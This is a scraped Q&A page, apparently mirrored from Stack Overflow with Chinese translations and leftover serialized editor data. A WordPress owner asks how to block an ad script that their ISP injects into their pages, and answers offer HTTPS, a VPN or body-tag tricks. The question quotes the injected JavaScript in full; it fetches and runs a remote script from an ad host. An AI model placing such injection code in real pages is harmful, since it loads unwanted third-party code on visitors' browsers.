blocks|key|4508900|text|错误的ISP！:D|type|unstyled|depth|inlineStyleRanges|entityRanges|data|4508901|您无法清除该脚本，因为它是在通过ISP服务器时被注入的。您只能在浏览器级别阻止它。阅读此https://askubuntu.com/q/64303/224951。遗憾的是，所有使用同一ISP的网站访问者都会得到相同的注入页面。|offset|length|4508902|我认为谷歌不会将你的网站列入黑名单，因为它肯定没有使用你的ISP，因此看不到注入的脚本。|4508903|entityMap|0|LINK|mutability|MUTABLE|url|https://askubuntu.com/q/64303/224951^0|0|18|10|0|0|0^^$0|@$1|2|3|4|5|6|7|P|8|@]|9|@]|A|$]]|$1|B|3|C|5|6|7|Q|8|@]|9|@$D|R|E|S|1|T]]|A|$]]|$1|F|3|G|5|6|7|U|8|@]|9|@]|A|$]]|$1|H|3|-4|5|6|7|V|8|@]|9|@]|A|$]]]|I|$J|$5|K|L|M|A|$N|O]]]]

Bad ISP! :D

You cannot clean that script because it is injected when it pass through your ISP server. You can only block it on browser level. Read this <a href="https://askubuntu.com/q/64303/224951">https://askubuntu.com/q/64303/224951</a>. It's a pity that all your website visitor who use the same ISP will get the same injected page.

I think Google won't blacklist your site because certainly it is not using your ISP thus don't see the injected script.

blocks|key|4508923|text|将body标记更改为大写。|type|unstyled|depth|inlineStyleRanges|entityRanges|data|4508924|我的实验表明，脚本注入器专门查找是否存在以小写形式编写的body标记。不过，我不确定这种情况会持续多久。|4508925|entityMap^0|0|0^^$0|@$1|2|3|4|5|6|7|F|8|@]|9|@]|A|$]]|$1|B|3|C|5|6|7|G|8|@]|9|@]|A|$]]|$1|D|3|-4|5|6|7|H|8|@]|9|@]|A|$]]]|E|$]]

Change the body tag to uppercase.

My experiment shows that the script injector look specifically for the presence of body tag written in lower case.
Although, I'm not sure how long it will stay that way though.

blocks|key|4508943|text|查看我在http://www.kaskus.co.id/thread/5491671f0e8b46ff29000007/mengakali-script-injeksi-spidol-as-a-web-developer+just+change上的解决方案|type|unstyled|depth|inlineStyleRanges|entityRanges|offset|length|data|4508944|</body>|code-block|syntax|javascript|4508945|至|4508946|</Body>|4508947|entityMap|0|LINK|mutability|MUTABLE|url|http://www.kaskus.co.id/thread/5491671f0e8b46ff29000007/mengakali-script-injeksi-spidol-as-a-web-developer^0|4|2Y|0|0|0|0|0^^$0|@$1|2|3|4|5|6|7|U|8|@]|9|@$A|V|B|W|1|X]]|C|$]]|$1|D|3|E|5|F|7|Y|8|@]|9|@]|C|$G|H]]|$1|I|3|J|5|6|7|Z|8|@]|9|@]|C|$]]|$1|K|3|L|5|F|7|10|8|@]|9|@]|C|$G|H]]|$1|M|3|-4|5|6|7|11|8|@]|9|@]|C|$]]]|N|$O|$5|P|Q|R|C|$S|T]]]]

See my solution at <a href="http://www.kaskus.co.id/thread/5491671f0e8b46ff29000007/mengakali-script-injeksi-spidol-as-a-web-developer" rel="nofollow">http://www.kaskus.co.id/thread/5491671f0e8b46ff29000007/mengakali-script-injeksi-spidol-as-a-web-developer</a>
just change 

<pre><code>&lt;/body&gt;
</code></pre>

to 

<pre><code>&lt;/Body&gt;
</code></pre>

blocks|key|1389|text|根据我的经验，您可以使用https协议或使用此技巧来避免从您的ISP加载脚本:P|type|unstyled|depth|inlineStyleRanges|entityRanges|data|1390||code-block|syntax|javascript|1391|在你的“真正的”</body></html>标签上添加上面的代码，让我们开始吧！|offset|length|style|CODE|1392|entityMap^0|0|0|8|E|0^^$0|@$1|2|3|4|5|6|7|O|8|@]|9|@]|A|$]]|$1|B|3|C|5|D|7|P|8|@]|9|@]|A|$E|F]]|$1|G|3|H|5|6|7|Q|8|@$I|R|J|S|K|L]]|9|@]|A|$]]|$1|M|3|-4|5|6|7|T|8|@]|9|@]|A|$]]]|N|$]]

based on my experience, you can use https protocol or use this tricks to avoid load script from your ISP :P

<pre><code>&lt;!-- &lt;/body&gt;&lt;/html&gt; --&gt;
</code></pre>

Add code above, above your 'real' <code>&lt;/body&gt;&lt;/html&gt;</code> tag, let's do it!

blocks|key|4509039|text|使用HTTPS+(如果由服务器提供)，或使用VPN/SSH隧道/安全代理。所以所有的问题都是干净的。ISP注入了广告和分析脚本，通过提取所有的压缩，注入而不是压缩回退数据。我们将为您的互联网连接配额收取额外费用。|type|unstyled|depth|inlineStyleRanges|entityRanges|data|4509040|entityMap^0|0^^$0|@$1|2|3|4|5|6|7|D|8|@]|9|@]|A|$]]|$1|B|3|-4|5|6|7|E|8|@]|9|@]|A|$]]]|C|$]]

Use HTTPS (if provided by server), or using VPN/SSH Tunneling/Secure Proxy. So all problems will be clean. The ISP injected the ads and analytic scripts, by extract all compression, injecting and not compress-back the data. It will make additional charge for your internet connection quota.

blocks|key|1458|text|有一个非常简单的方法来防止脚本注入作品。|type|unstyled|depth|inlineStyleRanges|entityRanges|data|1459|只需在</body>标记之前添加此脚本即可。|offset|length|style|CODE|1460|<script>
//</body>
</script>|code-block|syntax|javascript|1461|此图显示了使用前后的情况。|1462|使用前：|1463|​|1464|📷|atomic|1465|1466|使用后：|1467|1468|1469|1470|如果您使用wordpress，只需确保您安装了允许您在页脚部分编写脚本插件。|1471|在ISP+TELKOM知道之前做这件事。|1472|entityMap|0|IMAGE|mutability|IMMUTABLE|imageUrl|https://ask.qcloudimg.com/http-save/yehe-900000/551f07448a598f3443f01913999f316d.png|imageAlt|1|https://ask.qcloudimg.com/http-save/yehe-900000/cab9de5ddccb167fe414c36397528d86.png^0|0|3|7|0|0|0|0|0|0|1|0|0|0|0|0|0|1|1|0|0|0|0^^$0|@$1|2|3|4|5|6|7|1G|8|@]|9|@]|A|$]]|$1|B|3|C|5|6|7|1H|8|@$D|1I|E|1J|F|G]]|9|@]|A|$]]|$1|H|3|I|5|J|7|1K|8|@]|9|@]|A|$K|L]]|$1|M|3|N|5|6|7|1L|8|@]|9|@]|A|$]]|$1|O|3|P|5|6|7|1M|8|@]|9|@]|A|$]]|$1|Q|3|R|5|6|7|1N|8|@]|9|@]|A|$]]|$1|S|3|T|5|U|7|1O|8|@]|9|@$D|1P|E|1Q|1|1R]]|A|$]]|$1|V|3|R|5|6|7|1S|8|@]|9|@]|A|$]]|$1|W|3|X|5|6|7|1T|8|@]|9|@]|A|$]]|$1|Y|3|R|5|6|7|1U|8|@]|9|@]|A|$]]|$1|Z|3|T|5|U|7|1V|8|@]|9|@$D|1W|E|1X|1|1Y]]|A|$]]|$1|10|3|R|5|6|7|1Z|8|@]|9|@]|A|$]]|$1|11|3|12|5|6|7|20|8|@]|9|@]|A|$]]|$1|13|3|14|5|6|7|21|8|@]|9|@]|A|$]]|$1|15|3|-4|5|6|7|22|8|@]|9|@]|A|$]]]|16|$17|$5|18|19|1A|A|$1B|1C|1D|-4]]|1E|$5|18|19|1A|A|$1B|1F|1D|-4]]]]

There is a very simple method to prevent script injecting works.

Just add this script right before <code>&lt;/body&gt;</code> tags.

<pre><code>&lt;script&gt;
//&lt;/body&gt;
&lt;/script&gt;
</code></pre>

This image show before and after using.

Before use:

<a href="https://i.stack.imgur.com/uxjjE.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/uxjjE.png" alt="Before use"></a>

After use:

<a href="https://i.stack.imgur.com/Hh1VM.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Hh1VM.png" alt="After use"></a>

If you use wordpress, just make sure you installed plugin to allow you write that script in your footer section. 

Just do this before ISP TELKOM know.

My website gets injected by a script like this:

<pre><code> &lt;script&gt;function netbro_cache_analytics(fn, callback) {setTimeout(function() 
{fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var 
idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r 
= Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-
ad.info/cfspushadsv2/request" + "?id=1" + "&amp;enc=telkom2" + "&amp;params=" + 
"4TtHaUQnUEiP6K%2fc5C582Ltpw5OIinlRZ3f35Ig3RToKRLvWLwn6zEfnHRgrVr0WVf09gsyzoppB6HQ
lZs1%2bvVlaBJErvk4yTApvNxVRroJE3Sak6whXVhS8NtL5WQQ7xqk%2fl%2beEqRKsRzR0FuA%2bMRbKp
Tz%2fh8pwQUsZzPSHlUJaQ5eWnpe41LMxALmGAJ7wR93fB809%2b3BMdyLrPSeRjoat5eXfxM8hB8cF8FA
%2fADZ9XefsIT5mcIatvUYk00Cx89VQVB9oihM6lthSHZK76HYE2yVlBaqYl8N8lJpYpl3bTDK3nTOnpcZ
H07XEZDdhweI6oHkutA8rENrMv64HLRLfn%2fIH2yN7Q3C4Ly7sE6g9%2fkyUxZo0IvZ4NsUcBJwZ10Joo
9f63JGGYp%2bn8ZXG%2bI%2bHpuDri0qeXDPamxLkuhbs1gXAgx6ZSwZXm4940rBN97J6uiaXdZCyDo4ms
n2R%2f7i6CjiMCM66JMRM0RtI%2b4dRfZ2L78M%2bMB5T63xl0aYzBPpcoJFnNp75TozLX0wVNH7ZQLMIm
mchINjLEKPqXmlxC6kjQXWZiXrRa0nXtRY%2bUvCvz6huwCvSs3W8GNolSQ%3d%3d" + 
"&amp;idc_r="+idc_glo_r + "&amp;domain="+document.domain + 
"&amp;sw="+screen.width+"&amp;sh="+screen.height;var bsa = 
document.createElement('script');bsa.type = 'text/javascript';bsa.async = 
true;bsa.src = url;(document.getElementsByTagName('head')
[0]||document.getElementsByTagName('body')
[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){ });&lt;/script&gt;
&lt;/body&gt;
 &lt;/html&gt;
</code></pre>

<code>u-ad.info</code> belongs to the company who manages my ISP (TELKOM). I have complained with them but it will never solve the problem. I'm using WordPress. How do I clean that script or block that script injection?

How to clean up ads injection on wordpress which injected through ISP

翻译质量差，导致语言生硬或混乱。

没有提供实际的解决方法或示例。

解答不清晰，无法理解或解决问题。

页面排版不美观，阅读体验差。

文章

问答

视频

学习中心

腾讯云实验室

直播

竞赛

腾讯云代码分析专区

腾讯iOA零信任安全管理系统专区

腾讯云架构师技术同盟交流圈

腾讯云数据库专区

腾讯云顾问专区

腾讯云原生专区

腾讯混元专区

腾讯云TCE专区

腾讯云Lighthouse专区

腾讯云HAI专区

腾讯云Edgeone专区

腾讯云存储专区

腾讯云智能专区

腾讯轻联专区 

腾讯云开发专区

TAPD专区

腾讯轻量云游戏服专区

腾讯云最具价值专家

腾讯云架构师技术同盟

腾讯云创作之星

腾讯云开发者先锋

腾讯云代码助手

云原生构建

TAPD 敏捷项目管理

Cloud Studio

SDK中心

API中心

命令行工具

涵盖代码开发、场景应用、自动测试全流程，助你从零构建专属AI助手

一站式MCP教程库，解锁AI应用新玩法

我的网站被如下脚本注入： <script>function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCf...

问如何清理通过ISP注入的wordpress上的广告注入
EN

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐

问如何清理通过ISP注入的wordpress上的广告注入EN

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐

问如何清理通过ISP注入的wordpress上的广告注入
EN